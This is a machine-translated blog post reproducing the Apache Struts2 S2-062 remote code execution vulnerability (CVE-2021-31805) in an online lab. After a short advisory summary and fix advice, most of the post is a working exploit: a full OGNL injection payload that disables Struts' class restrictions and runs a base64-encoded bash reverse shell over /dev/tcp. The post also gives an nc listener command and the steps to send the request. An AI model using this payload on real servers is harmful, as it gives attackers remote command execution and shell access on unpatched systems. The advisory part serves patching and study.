当前位置:网站首页>S2-062 remote command execution vulnerability recurrence (cve-2021-31805)
S2-062 remote command execution vulnerability recurrence (cve-2021-31805)
2022-04-23 12:15:00 【MH cloud】
Preface
Cough , This loophole has been out for a few days , I haven't had time lately , Add a class today to write !
One 、 Vulnerability description
Apache Struts2 It's based on MVC The popularity of design patterns Web Application framework .
Apache Struts2 Issue safety bulletins (S2-062), Repair the Apache Struts2 A Remote Code Execution Vulnerability in (CVE-2021-31805).
Due to CVE-2020-17530 The repair of is incomplete , stay Apache Struts 2.0.0-2.5.29 in , If developers use %{...} Syntax application force OGNL analysis , Some attributes of the tag can still be parsed twice . Parsing raw user input in tag properties that is not validated may result in remote code execution .
Two 、 scope
Apache Struts 2.0.0-2.5.29
3、 ... and 、 Repair suggestions
At present, this vulnerability has been fixed , It is recommended that the affected users upgrade to Apache Struts 2.5.30 Or later .
Download link :https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30
Mitigation measures : Avoid using force on untrusted or unauthenticated user input OGNL analysis .
Four 、 Loophole recurrence
Recurrence environment :Vulfocus Vulnerability threat analysis platform Online range , This shooting range is still good
1. Visit the home page according to the vulnerability prompt

2. Packet capture home page

3. structure payload, The change request method is post,
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNTQ1NCAwPiYx}|{base64,-d}|{bash,-i}'}))

4. Rebound shell The order of base64 Encoding and processing url code


6.URL encryption

7. Replace the bp Inside

8. Prepare a server to listen
nc -vvlp 7777

9.bp Click send bounce shell


At this point, the whole loophole will reappear
Don't spray today !!
My idea : The food should also be reasonable !!
MHcloud A small dish chicken full of longing for network security
版权声明
本文为[MH cloud]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204231210454291.html
边栏推荐
- 九十八、freemarker框架报错 s.e.ErrorMvcAutoConfiguration$StaticView : Cannot render error page for request
- Fastjson 2 is coming, the performance continues to improve, and it can fight for another ten years
- 外包干了五年,废了...
- 初探 Lambda Powertools TypeScript
- 在 VSCode 中调试 Jest 的测试用例,VSCode调试Jest测试用例报错basedir=$(dirname “$(echo “$0“ | sed -e ‘s,\\,/,g‘)“)解决
- How Im expressions work (5.3)
- worder字体网页字体对照表
- Use kettle to copy records to and get records from results
- 第四章 为IM 启用填充对象之强制填充In-Memory对象:教程(IM 4.7)
- Symmetric encryption, certificate encryption
猜你喜欢

Fastjson 2 is coming, the performance continues to improve, and it can fight for another ten years

万事有你 未来可期 | ONES 2022校园招聘正式开启

Intelligent multi line elastic cloud adds independent IP address. How to realize multi line function?

Next.js 静态数据生成以及服务端渲染的方式

c# 设置logo图标和快捷方式的图标

Basic software testing Day2 - Case Execution

The maximum number of remote desktop servers has been exceeded

宝塔面板命令行帮助教程(包含重置密码)

IDEA设置版权信息

IDEA 中 .properties文件的中文显示乱码问题的解决办法
随机推荐
AI video cloud vs narrowband HD, who is the darling of the video era
Idea database navigator plug-in
Fastjson 2 is coming, the performance continues to improve, and it can fight for another ten years
第二十五课 类的静态成员变量
Summary of convolution layer and pooling layer
Relu function of activation function
数组---
在 VSCode 中调试 Jest 的测试用例,VSCode调试Jest测试用例报错basedir=$(dirname “$(echo “$0“ | sed -e ‘s,\\,/,g‘)“)解决
消息队列概述
Outsourcing for five years, abandoned
异步时钟亚稳态 的解决方案——多bit信号
IDEA 数据库插件Database Navigator 插件
Pagoda panel command line help tutorial (including resetting password)
The maximum number of remote desktop servers has been exceeded
论文解读(CGC)《CGC: Contrastive Graph Clustering for Community Detection and Tracking》
How much does software testing help reduce program bugs?
Optimize connections using connection groups (IM 6)
万事有你 未来可期 | ONES 2022校园招聘正式开启
Intelligent multi line elastic cloud adds independent IP address. How to realize multi line function?
The listing of saiweidian Technology Innovation Board broke: a decrease of 26% and the market value of the company was 4.4 billion